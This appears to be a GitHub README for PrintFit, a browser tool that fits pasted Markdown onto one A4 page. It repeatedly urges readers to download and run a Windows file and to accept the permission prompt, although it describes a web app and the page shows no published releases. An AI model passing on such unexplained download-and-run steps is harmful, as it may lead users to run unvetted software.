Skip to content

Serbian-groundwork422/PrintFit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🖨️ PrintFit - Fit Text on One Page

Download PrintFit

🧩 What PrintFit Does

PrintFit helps you turn pasted Markdown into a clean A4 page that fits on one sheet.

You paste your text, and PrintFit adjusts the font size so the content fills the page without spilling over. It also shows a live print preview, so you can see the page before you print it.

Use it for:

  • Resumes
  • Meeting notes
  • Study sheets
  • Weekly reports
  • Handouts
  • Cover letters
  • Menus
  • Quick reference pages

📥 Download PrintFit

Go to the project page here:

Visit the PrintFit download page

If the page shows a release file for Windows, download it and run the file. If the page shows the source project, use the Windows build shown there when available.

🪟 Run on Windows

After you open the download page:

  1. Find the Windows download file
  2. Download the file to your computer
  3. Open the file from your Downloads folder
  4. If Windows asks for permission, choose Run
  5. Wait for PrintFit to open

If you see a zipped file:

  1. Right-click the file
  2. Choose Extract All
  3. Open the extracted folder
  4. Double-click the app file inside

🚀 First Use

When PrintFit opens:

  1. Paste your Markdown into the left panel
  2. Look at the A4 preview on the right
  3. Wait for the font to adjust
  4. Print when the page looks right

Use Ctrl + P on Windows to print.

🖱️ Preview Controls

PrintFit gives you simple controls for the preview area:

  • Scroll wheel with Ctrl to zoom in or out
  • Drag with the mouse to move the page
  • Double-click to return to the default view

These controls help when you want to inspect layout, spacing, or page edges.

✍️ What You Can Edit

PrintFit lets you adjust the page to match your needs:

  • Font family
  • Font size behavior
  • Page margins
  • Line height
  • Paragraph spacing
  • First-line indent

This gives you control over how much content fits on one page.

🎨 Themes

PrintFit includes 10 themes:

  • Classic
  • Warm Paper
  • Academic
  • Magazine
  • Hammer Note
  • Dark Night
  • Mint
  • Ink Wash
  • Tech
  • Kraft Paper

Use a theme that matches the kind of page you want to print.

📚 Built-In Examples

PrintFit includes 9 example layouts:

  • Resume
  • Meeting agenda
  • Exam cheat sheet
  • Reading notes
  • Project weekly report
  • Product info card
  • Event flyer
  • Menu
  • Cover letter

You can switch between them from the example menu in the app.

🧠 How It Works

PrintFit uses a page-fit system that checks how much space your text needs, then chooses the largest font size that still fits on one A4 page.

That means:

  • More text = smaller font
  • Less text = larger font
  • The page stays full without breaking the layout

This makes the result easy to print and easy to read.

🔧 System Needs

PrintFit runs on a modern Windows computer with a web browser.

Recommended setup:

  • Windows 10 or newer
  • 4 GB RAM or more
  • A current version of Chrome, Edge, or another Chromium-based browser
  • A screen large enough to show the editor and preview side by side

For best results, keep the browser window wide while editing.

📝 Supported Content

PrintFit works with Markdown, which is plain text with simple formatting.

You can use:

  • Headings
  • Bullet lists
  • Numbered lists
  • Bold text
  • Italic text
  • Links
  • Short notes
  • Structured blocks of text

If you already write notes in Markdown, you can paste them in with little change.

🖨️ Printing and PDF Export

To print:

  1. Open your finished page
  2. Press Ctrl + P
  3. Choose your printer
  4. Select A4 paper
  5. Print or save as PDF

For a PDF file, use your browser’s print dialog and choose Save as PDF.

🧭 Basic Layout Tips

To get a clean result:

  • Keep headings short
  • Use short bullet points
  • Avoid very long paragraphs
  • Check the preview before printing
  • Try a different theme if the page feels crowded
  • Reduce content if you want larger text

If your page looks too full, PrintFit will scale the text down to fit.

🛠️ Development Setup

If you want to run the project from source:

bun install
bun run dev

Then open the local address shown in the terminal.

📦 Main Tools Used

  • Pretext for text measurement
  • marked for Markdown parsing
  • Vite and TypeScript for the app build
  • Google Fonts for font loading

📄 Example Workflow

A simple way to use PrintFit:

  1. Open the app
  2. Pick a template or start with blank content
  3. Paste your Markdown
  4. Check the live A4 preview
  5. Adjust spacing or font if needed
  6. Print or export to PDF

⌨️ Shortcuts

  • Ctrl + P — Print
  • Ctrl + mouse wheel — Zoom preview
  • Double-click — Reset preview zoom

🧩 When to Use PrintFit

PrintFit is useful when you need one page that stays neat:

  • Job search documents
  • Study summaries
  • Event handouts
  • Internal notes
  • Simple one-page references
  • Printed pages for meetings or classes

📌 File Flow

The usual flow is simple:

  1. Download PrintFit from the link above
  2. Open it on Windows
  3. Paste your content
  4. Let the page fit itself
  5. Print or save the result

Releases

No releases published

Packages

 
 
 

Contributors